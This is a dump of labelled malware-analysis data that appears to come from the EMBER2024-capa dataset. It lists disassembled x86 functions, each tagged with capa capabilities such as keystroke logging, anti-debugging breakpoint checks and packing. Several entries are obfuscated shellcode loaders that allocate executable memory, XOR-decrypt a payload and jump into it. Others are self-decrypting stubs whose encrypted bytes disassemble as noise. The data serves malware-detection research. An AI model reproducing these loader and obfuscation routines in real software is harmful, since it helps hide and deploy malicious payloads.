joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5b3378
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
push edi
mov dword [esi], 0x422cec
call fcn.0055dace
lea ebx, [esi + 0x30]
mov ecx, ebx
call fcn.0055dace
push dword [esi + 0x3c]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edi, dword [esi + 0x48]
test edi, edi
je 0x5b33b4
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x4c]
test edi, edi
je 0x5b33cb
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov eax, dword [esi + 0x50]
xor edi, edi
cmp eax, edi
je 0x5b3415
cmp dword [eax], edi
jbe 0x5b33fe
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call sub.msvcrt.dll_free
mov eax, dword [esi + 0x50]
inc edi
cmp edi, dword [eax]
pop ecx
jb 0x5b33d8
mov edi, dword [esi + 0x50]
test edi, edi
je 0x5b3415
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x54]
test edi, edi
je 0x5b342c
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
cmp byte [esi + 0x5c], 0
je 0x5b3442
cmp dword [esi + 0x44], 1
jne 0x5b3450
push dword [esi + 0x2c]
call fcn.0055dace
jmp 0x5b3450
cmp dword [esi + 0x44], 1
jne 0x5b3450
push dword [esi + 0x2c]
call fcn.0055dace
push dword [esi + 0x2c]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 8]
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, ebx
call fcn.005b3f5f
lea ecx, [esi + 0x1c]
call fcn.005b1275
pop edi
lea ecx, [esi + 0xc]
pop esi
pop ebx
jmp fcn.005b08be

Function at 0x5bc800
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x5bc823
mov eax, dword [esi + 0x1a8]
push esi
call dword [eax]
mov dword [esi + 0x8c], 0
mov dword [esi + 0x14], 0xcc
mov ecx, dword [esi + 0x1a8]
mov eax, dword [ecx + 8]
test eax, eax
je 0x5bc849
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x30
call dword [eax]
mov edx, dword [esi + 0x1a8]
mov eax, dword [edx + 8]
test eax, eax
jne 0x5bc830
mov edx, dword [esi + 0x44]
xor eax, eax
test edx, edx
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov eax, 1
ret
Function at 0x5992a7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x5992e6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x5992e6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x5992e6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x5992e6
cmp dword [ecx + 0x74], 0xe
jbe 0x5992e6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x5a3430
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x5a345d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x5a345d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x408f8f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004057ce
and dword [ebp - 0x14], 0
cmp dword [0x411ca8], 0
mov dword [ebp - 0x18], eax
jne 0x409042
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4090ea
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4090ea
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411ca8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411cac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411cb0], eax
call edi
push eax
call esi
mov dword [0x411cb8], eax
test eax, eax
je 0x409042
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411cb4], eax
mov eax, dword [0x411cb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40909b
cmp dword [0x411cb8], ecx
je 0x40909b
push eax
call esi
push dword [0x411cb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40909b
test ebx, ebx
je 0x40909b
call edi
test eax, eax
je 0x409092
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409092
test byte [ebp - 8], 1
jne 0x40909b
or dword [ebp + 0x10], 0x200000
jmp 0x4090ce
mov eax, dword [0x411cac]
cmp eax, dword [ebp - 0x18]
je 0x4090ce
push eax
call esi
test eax, eax
je 0x4090ce
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4090ce
mov eax, dword [0x411cb0]
cmp eax, dword [ebp - 0x18]
je 0x4090ce
push eax
call esi
test eax, eax
je 0x4090ce
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411ca8]
call esi
test eax, eax
je 0x4090ea
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4090ec
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ac4
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x1000178c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1000179b
pop dword [ebp - 0x1c]
mov eax, 0xa0e509c7
add eax, 0x6f1b0dd4
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x28f0a0f8
add dword [ebp - 0x2c], 0x2561a453
mov dword [ebp - 0x28], 0xfe404a4b
add dword [ebp - 0x28], 0x33f301fa
mov dword [ebp - 0x24], 0x3e21dcd9
add dword [ebp - 0x24], 0xe2a6755
mov dword [ebp - 0x20], 0x7584706c
add dword [ebp - 0x20], 0x8a7b8f94
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xf16a8b8a
sub eax, 0xe1699afe
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x4eb7d6bd
add dword [ebp - 0x2c], 0x25ba9299
mov dword [ebp - 0x28], 0xf0b8c042
add dword [ebp - 0x28], 0x50b3a133
mov dword [ebp - 0x24], 0x26b24fc
add dword [ebp - 0x24], 0x61044770
mov dword [ebp - 0x20], 0xb219a53b
sub dword [ebp - 0x20], 0xb219a53b
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xdf7cdf10
add eax, 0x30841134
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x395c4
push 0
call eax
mov ecx, 0xa7056b01
add ecx, 0x58fadf76
xor esi, esi
add esi, eax
mov edi, 0x3fe0d1b2
sub edi, 0x2fdf2db2
add edi, dword [ebp - 0x1c]
mov ebx, 0x85a37290
add ebx, 0x1ac0a0da
add dword [ebp - 0xc], eax
mov edx, dword [edi]
xor dword [ebp - 0x18], 0x9bb9c45a
add edx, ebx
mov dword [esi], edx
add esi, 4
add edi, 0x19907e38
sub edi, 0x19907e34
loop 0x100018bf
add eax, 0x11caf
mov ebx, eax
add eax, 0xabe618b6
add eax, 0x5419e74f
mov ecx, 0x24ea47d6
sub ecx, 0x14ea47d6
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x836cd4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x836cde
pushal
call 0x836ce4
pop ebp
sub ebp, 0x10
sub ebp, 0x436cd4
mov al, byte [esp + 0x28]
cmp al, 1
je 0x836d08
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x836d11
mov eax, 0x436cd4
add eax, ebp
add eax, 0x63
mov ecx, 0x5fd
mov edx, 0x4c17bd25
xor byte [eax], dl
inc eax
dec ecx
jne 0x836d28
jmp 0x836d3b
scasb al, byte es:[edi]
call 0x259d19ef
and eax, 0xdde4a425
and eax, 0xe8262525
popfd
and dword [0xd9f2525], esp
and eax, 0xc7d22525
in eax, dx
scasb al, byte es:[edi]
movsb byte es:[edi], byte [esi]
sub dword [0xe0262525], esp
jne 0x836dd8
dec ebp
dec ecx
pop edi
sub esp, dword [0x11d7434d]
and eax, 0x4d010924
invalid
pop ebp
and eax, 0x98ae2525
sub eax, 0x16252525
in al, dx
movsb byte es:[edi], byte [esi]
xlatb
push ecx
cwde
pop ebp
dec edi
movsb byte es:[edi], byte [esi]
xlatb
push ecx
cwde
pop ebp
dec edi
push ss
mul dword [esi + 0x2a6d20cd]
mov eax, dword [0x2525256b]
sub ch, byte [ebp + 0x2525256d]
inc ebx
scasb al, byte es:[edi]
cmp dword [0xa12acdde], ebx
aas
and eax, 0xdea52525
int3

Function at 0x930014
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x93001a
pop ebp
sub ebp, 6
sub ebp, 0x530014
jmp 0x930078
jmp 0x930081
mov eax, 0x530014
add eax, ebp
add eax, 0x93
mov ecx, 0x63a
mov edx, 0xcf738296
xor byte [eax], dl
inc eax
dec ecx
jne 0x930098
jmp 0x9300ab
cld
salc
invalid
Function at 0x1004f3f0
Capabilities:
Encode data using xor

Disassembly:
pop ds
out dx, al
loopne 0x1004f389
call [ebx]
loop 0x1004f401
cld
pop eax
cdq
cmp al, 0x78
invalid
int3

Function at 0x1004f510
Capabilities:
Encode data using xor

Disassembly:
or ch, byte [ebp + 0x26cc2479]
pop eax
js sym.Main.dll__printf_p_l
loopne 0x1004f4f8
cmp eax, 0x9cb83654
hlt
invalid
jae 0x1004f58c
jnp 0x1004f4d5
sub al, 0x4e
scasb al, byte es:[edi]
insb byte es:[edi], dx
push ds
dec esp
adc edx, dword [ebx + ebx - 0x56a4f367]
sbb dl, byte [ebx - 8]
mov eax, dword [0xc7893744]
push ecx
popfd
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lahf
jbe 0x1004f4e7
jmp 0x58d8e017
arpl word [edx + ecx*8], ax
dec edx
invalid
insb byte es:[edi], dx
mov dl, 0xd0
test dh, bl
mov dh, 0xfa
out 0xb3, al
mov bh, dh
dec ecx
out 0xcb, eax
inc esi
inc edi
push ebx
xchg edx, eax
cmp byte [esi], 0xf3
jp 0x1004f5f1
loope 0x1004f574
call 0xd882ceb2
arpl word cs:[eax - 0x1c], bp
add ebx, esp
sahf
xor al, 0xda
pop ss
scasd eax, dword es:[edi]
lodsb al, byte [esi]
stosd dword es:[edi], eax
xchg ebp, eax
push esp
jecxz 0x1004f5f1
pop ds
add al, 0xe8
cmpsd dword [esi], dword es:[edi]
retf 0x3c5

Function at 0x100500f0
Capabilities:
Encode data using xor

Disassembly:
adc ah, bl
xor ch, byte [edx + 0x57]
mov ah, 0x7f
or al, 0x4f
and dword [edi + 0x6bdf7f01], ebx
cli
stosd dword es:[edi], eax
pop ss
xchg ecx, eax
xor dword [esi - 0xa], edi
loop 0x100500eb
cmp al, 0x9a
imul edi, dword [si - 0x5c], 0x771cb054
imul edi, ecx, 0x3d98640c
shl byte [edi - 0x5b], 1
arpl sp, bp
scasd eax, dword es:[edi]
dec eax
xor ah, byte fs:[edx]
cmp ch, byte [ebx]
jl 0x10050124
invalid
xor dh, byte [esi + 0xd]
add ah, bh
dec esi
cmp ah, ch
mul byte [ebp + 0x7b]
cli
movsb byte es:[edi], byte [esi]
invalid

Function at 0x100507e0
Capabilities:
Encode data using xor

Disassembly:
jb 0x10050858
imul esp, dword [esi], 0x5e
pushal
xchg ebp, eax
popal
and dword [eax - 0x7f9762f7], ebp
daa
mov al, cl
sahf
mov ecx, 0x640e31e4
pop edx
push cs
pop edx
mov dh, 0xeb
popal
and al, byte [edi - 0x14]
sub byte [edi], 0xc3
xor eax, 0x668a9b36
jecxz 0x100507f6
mov ah, 0xa8
invalid
jbe 0x10050863
adc dh, bh

Function at 0x10051f70
Capabilities:
Encode data using xor

Disassembly:
salc
push edi
mov al, 0x6d
loop 0x10051f59
sub al, 0x62
adc eax, 0xef7e13aa
imul edx, dword [esi + 0xd7d96a5], 0x4f
add eax, 0x99c90a7e
cdq
or eax, 0x62b0455
test al, 0xb2
arpl bx, sp
in al, 0x66
mov ecx, ebx
rcr dword [edi - 0x5a], 0xa9
xchg edx, eax
and dh, byte [ecx - 0x14]
and dword [edx + 0x5a3327b1], esp
mov byte [0x5a3327b1], al
xor al, byte [edx - 0x78a12425]
test al, 0x15
je sym.Main.dll_vwscanf_s
lodsb al, byte [esi]
leave
pushfd
enter 0x67e, 0x25
cmp dword [esi], edx
mov al, byte [0x6c4f60c]
cmp dword [edi], eax
or esp, dword [ebx]
sub dh, byte [eax + ebp*2 - 0x72b44a36]
push cs
jecxz sym.Main.dll_vwscanf
pop ecx
sub ebp, dword [ebx]
invalid

Function at 0x10051fa0
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], ah
pcmpgtb mm0, qword [ebx + 0x32406e31]
dec ecx
cmp al, 0x86
invalid
Function at 0x107df053
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x107d9140]
jne 0x107df05d
repz ret
jmp fcn.107df2df

Function at 0x107e3feb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x107d9140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.107dfa36
and dword [ebp - 0x14], 0
cmp dword [0x107dcacc], 0
mov dword [ebp - 0x18], eax
jne 0x107e409e
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x107e4146
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x107e4146
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x107dcacc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x107dcad0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x107dcad4], eax
call edi
push eax
call esi
mov dword [0x107dcadc], eax
test eax, eax
je 0x107e409e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x107dcad8], eax
mov eax, dword [0x107dcad8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x107e40f7
cmp dword [0x107dcadc], ecx
je 0x107e40f7
push eax
call esi
push dword [0x107dcadc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x107e40f7
test ebx, ebx
je 0x107e40f7
call edi
test eax, eax
je 0x107e40ee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x107e40ee
test byte [ebp - 8], 1
jne 0x107e40f7
or dword [ebp + 0x10], 0x200000
jmp 0x107e412a
mov eax, dword [0x107dcad0]
cmp eax, dword [ebp - 0x18]
je 0x107e412a
push eax
call esi
test eax, eax
je 0x107e412a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x107e412a
mov eax, dword [0x107dcad4]
cmp eax, dword [ebp - 0x18]
je 0x107e412a
push eax
call esi
test eax, eax
je 0x107e412a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x107dcacc]
call esi
test eax, eax
je 0x107e4146
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x107e4148
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.107df053
leave
ret
Function at 0x6d56113f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x6d56114e
pop dword [ebp - 0x34]
mov eax, 0x262606b4
sub eax, 0xb8cff566
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x784b71aa
sub dword [ebp - 0x44], 0x29f92c5f
mov dword [ebp - 0x40], 0x9dce2deb
sub dword [ebp - 0x40], 0x6b9ae1a6
mov dword [ebp - 0x3c], 0xfb84bda
add dword [ebp - 0x3c], 0x3c93f854
mov dword [ebp - 0x38], 0x766a50ef
add dword [ebp - 0x38], 0x8995af11
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x6223af6c
sub dword [ebp - 0x44], 0xedb14616
mov dword [ebp - 0x40], 0x43a6ccd3
add dword [ebp - 0x40], 0xfdc594a2
mov dword [ebp - 0x3c], 0xf8b0248
add dword [ebp - 0x3c], 0x53e46a24
mov dword [ebp - 0x38], 0xfcaed47c
add dword [ebp - 0x38], 0x3512b84
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x8b90b3af
sub eax, 0x1e3a83af
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x38466
push 0
call eax
mov ecx, 0xdf530b9d
add ecx, 0x20ad437a
xor edx, edx
add edx, eax
mov ebx, 0x9f7d2149
add ebx, 0xcdd940b7
add ebx, dword [ebp - 0x34]
mov edi, 0x41e523f2
add edi, 0xc2bc7559
mov esi, dword [ebx]
mov dword [ebp - 0x2c], 0x3016a446
xor esi, edi
add dword [ebp - 0x10], esi
mov dword [edx], esi
xor dword [ebp - 0x24], 0xbb68565b
add edx, 0x15eb7c4b
sub edx, 0x15eb7c47
add ebx, 4
loop 0x6d56126d
add eax, 0xd92bc496
sub eax, 0xd92a9567
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x32e1f514
sub ecx, 0xc58bf514
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x6d5617f1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d5617fb
repz ret
jmp fcn.6d561b91
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x19077ef2
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x243e7f6d
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x406243
pop dword [ebp - 0x48]
mov eax, 0x5577bf5
add eax, 0xfae8e64e
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x61bac0ac
sub dword [ebp - 0x58], 0x13687b61
mov dword [ebp - 0x54], 0x49c2c529
sub dword [ebp - 0x54], 0x178f78e4
mov dword [ebp - 0x50], 0x319d9ee4
sub dword [ebp - 0x50], 0xe5515ab6
mov dword [ebp - 0x4c], 0x4ac12ccd
add dword [ebp - 0x4c], 0xb53ed333
lea eax, [ebp - 0x58]
push eax
mov eax, 0x92e7c89f
add eax, 0x6d58b865
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x3a4c48ae
sub dword [ebp - 0x58], 0xc5d9df58
mov dword [ebp - 0x54], 0xdf6366ca
add dword [ebp - 0x54], 0x6208faab
mov dword [ebp - 0x50], 0x5751f7e9
sub dword [ebp - 0x50], 0xf3e28b7d
mov dword [ebp - 0x4c], 0xddd48af
sub dword [ebp - 0x4c], 0xddd48af
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xabebc05c
add eax, 0x5454c0a4
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x336f3
push 0
call eax
mov ecx, 0xc670150b
sub ecx, 0xc66fdb66
xor edi, edi
add edi, eax
mov esi, 0x6d8800cd
add esi, 0x92bee333
add esi, dword [ebp - 0x48]
mov ebx, 0x28d2d686
sub ebx, 0x4f88468
xor dword [ebp - 0x30], eax
mov edx, dword [esi]
xor edx, ebx
add dword [ebp - 0x18], 0xdf0443c4
mov dword [edi], edx
sub dword [ebp - 0x24], eax
add edi, 4
add esi, 4
loop 0x406367
add eax, 0xc753bab6
add eax, 0x38ad1eb1
xor ebx, ebx
add ebx, eax
add eax, 0x3fee9964
sub eax, 0x3fee995f
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x7acd54
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7acd5e
pushal
call 0x7acd64
pop ebp
sub ebp, 0x10
sub ebp, 0x3acd54
jmp 0x7acd7a
mov eax, 0x3acd54
add eax, ebp
add eax, 0x4c
mov ecx, 0x5f9
mov edx, 0xdc142b61
xor byte [eax], dl
inc eax
dec ecx
jne 0x7acd91
jmp 0x7acda4
ljmp 0x6161:0x5de8eaac
Function at 0x854058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8541a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x85407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x85406a
add dl, dl
jne 0x854089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8540dc
xor eax, eax
add dl, dl
jne 0x854096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x85417d
add dl, dl
jne 0x8540a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8540b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8540bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8540c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8540d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x854075
mov eax, 1
add dl, dl
jne 0x8540ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8540f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8540e1
sub eax, ebx
mov ebx, 1
jne 0x854128
mov ecx, 1
add dl, dl
jne 0x85410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x854119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x854105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x854075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x85413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x85414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x854136
cmp eax, 0x7d00
jae 0x85416d
cmp eax, 0x500
jb 0x854168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x854075
cmp eax, 0x7f
ja 0x854170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x854075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x85419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x854075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10